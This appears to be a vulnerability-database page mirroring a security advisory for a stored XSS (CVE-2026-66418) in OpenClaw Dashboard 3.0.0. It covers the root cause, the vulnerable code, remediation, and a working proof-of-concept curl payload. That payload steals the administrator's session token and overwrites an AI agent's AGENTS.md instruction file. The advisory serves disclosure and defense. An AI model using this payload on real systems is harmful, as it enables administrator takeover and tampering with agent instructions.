Lucene search
+L

📄 OpenClaw Dashboard 3.0.0 Cross Site Scripting

🗓️ 03 Aug 2026 00:00:00Reported by Theodosis PaidakisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 16 Views

Stored XSS in OpenClaw Dashboard 3.0.0 enables admin account takeover via a failed login username stored in audit logs.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-66418
30 Jul 202620:55
attackerkb
circl
Circl
CVE-2026-66418
30 Jul 202622:04
circl
cve
CVE
CVE-2026-66418
30 Jul 202620:55
cve
cvelist
Cvelist
CVE-2026-66418 OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field
30 Jul 202620:55
cvelist
euvd
EUVD
EUVD-2026-51309
30 Jul 202620:55
euvd
nvd
NVD
CVE-2026-66418
30 Jul 202621:18
nvd
ptsecurity
Positive Technologies
PT-2026-66598
30 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-66418 OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field
30 Jul 202620:55
vulnrichment
# Security Advisory: Unauthenticated Stored Cross-Site Scripting Leading To Administrator Account Takeover (openclaw-dashboard)
    
    Title: OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field
    Assigned CVE ID: CVE-2026-66418
    
    Target Repository: https://github.com/tugcantopaloglu/openclaw-dashboard
    
    ## Summary
    
    The login endpoint records the submitted username in the audit log without any
    validation. The notification panel later reads those log entries and writes them into
    the page with `innerHTML` and no escaping. An attacker who cannot log in can still send
    a failed login request whose username is a script payload. The next time the logged-in
    administrator opens the notification bell, that payload runs in their browser, in the
    dashboard's origin, with access to their session token.
    
    - CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
    - CWE-117: Improper Output Neutralization for Logs
    - CVSS 4.0: 9.3 (Critical). Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`
    
    ## Affected versions
    
    Introduced in v3.0.0, which added the notification center that renders audit-log
    entries. Present in v3.0.0 and every later commit up to and including the current
    `main` (d6198d0). Not fixed at the time of writing.
    
    ## Threat model
    
    The attacker is a remote party who can reach the dashboard's HTTP port but has no
    account and no valid credentials. This matches the login screen being reachable by
    anyone who can open the dashboard. The only precondition is that an administrator
    account already exists, which is true for any deployment past first-run setup.
    
    The payload is stored, so no timing coordination is needed. It executes when the
    administrator opens the notification panel, which is a normal action offered by the UI.
    Once it runs, it has the same abilities as the administrator's browser: it can read the
    session token and call any authenticated endpoint on the victim's behalf.
    
    ## Root cause
    
    **Step 1. The username is logged verbatim.** A login with a username that does not
    match the registered account reaches this branch:
    
    ```js
    // server.js:1577-1583
    if (username !== creds.username) {
      recordFailedAuth(ip);
      auditLog('login_failed', ip, { username });
      res.writeHead(401, { 'Content-Type': 'application/json' });
      res.end(JSON.stringify({ error: 'Invalid username or password' }));
      return;
    }
    ```
    
    `username` comes straight from the JSON request body. There is no length limit,
    character allowlist, or type check. `auditLog` writes it to disk as a JSON line:
    
    ```js
    // server.js:278-282
    function auditLog(event, ip, details = {}) {
      try {
        const timestamp = new Date().toISOString();
        const entry = JSON.stringify({ timestamp, event, ip, ...details }) + '\n';
        fs.appendFileSync(auditLogPath, entry, 'utf8');
    ```
    
    `JSON.stringify` escapes quotes and newlines, so the payload stays on one line and
    parses back cleanly. It does not escape `<`, `>`, or `/`, so HTML markup survives intact.
    
    **Step 2. The log is read back.** The notifications endpoint returns recent log lines
    to the browser:
    
    ```js
    // server.js:2042-2051
    if (req.url.startsWith('/api/notifications')) {
      if (!requireAuth(req, res)) return;
      const limit = parseInt(new URL(req.url, 'http://localhost').searchParams.get('limit') || '50');
      try {
        const raw = fs.readFileSync(auditLogPath, 'utf8').trim();
        const lines = raw.split('\n').filter(Boolean).slice(-Math.min(limit, 200));
        const events = lines.map(l => { try { return JSON.parse(l); } catch { return null; } }).filter(Boolean).reverse();
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ events }));
    ```
    
    **Step 3. The username is written into the DOM without escaping.** The frontend builds
    each notification row by string concatenation and assigns it with `innerHTML`:
    
    ```js
    // index.html:5647-5653
    body.innerHTML = data.events.map(e => {
      const icon = notifIcons[e.event] || '📋';
      const time = e.timestamp ? new Date(e.timestamp).toLocaleString() : '';
      const detail = e.username ? ' (' + e.username + ')' : '';
      const ip = e.ip ? ' from ' + e.ip : '';
      return '<div class="notif-item"><div class="notif-icon">' + icon + '</div><div class="notif-content"><div class="notif-event">' + (e.event||'').replace(/_/g, ' ') + detail + ip + '</div><div class="notif-time">' + time + '</div></div></div>';
    }).join('');
    ```
    
    `e.username` is the attacker's string. It reaches `innerHTML` with no encoding, so the
    browser parses it as HTML.
    
    The Content-Security-Policy set at server.js:298 includes `script-src 'self'
    'unsafe-inline'`, so inline event handlers such as `onerror` are allowed to run.
    
    ## Proof of concept
    
    1. Make sure an administrator account exists (any normal install). The attacker does not
       need its credentials.
    
    2. As the unauthenticated attacker, send one failed login whose username is the payload:
    
       ```bash
       curl -X POST http://TARGET:7000/api/auth/login \
         -H 'Content-Type: application/json' \
         -d '{"username":"<img src=x onerror=\"fetch('\''/api/key-file'\'',{method:'\''POST'\'',headers:{Authorization:'\''Bearer '\''+getStoredToken(),'\''Content-Type'\'':'\''application/json'\''},body:JSON.stringify({path:'\''AGENTS.md'\'',content:'\''owned'\''})})\">","password":"x"}'
       ```
    
       The server replies `401 Invalid username or password` and stores the payload.
    
    3. The administrator logs in normally and clicks the notification bell.
    
    4. The payload runs in the administrator's session. In this example it reads the session
       token with the page's own `getStoredToken()` and uses it to overwrite the agent
       instruction file `AGENTS.md` through `POST /api/key-file`. Any authenticated endpoint
       can be called the same way.
    
    The payload text stays a single log line and comes back byte-for-byte through
    `/api/notifications`, so the injection and the execution can be confirmed separately.
    
    ## Impact
    
    Code execution in the dashboard origin as the administrator. The script can read the
    session token and issue any authenticated request, including editing the agent's
    instruction and skill files and changing the OpenClaw configuration. Because the
    attacker needs no account, this turns an unauthenticated network request into control of
    the administrator's session.
    
    ## Remediation
    
    - HTML-encode every value before placing it in `innerHTML`, or build nodes with
      `textContent` instead of string concatenation. The notification username, event, and
      IP fields all need this.
    - Validate `username` on the server before logging it: cap its length and restrict it to
      an expected character set.
    - Remove `'unsafe-inline'` from `script-src`. With inline handlers blocked, this issue
      drops from code execution to harmless markup.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2026 00:00Current
4.8Medium risk
Vulners AI Score4.8
CVSS 49.3
CVSS 3.19.3
EPSS0.00338
SSVC
16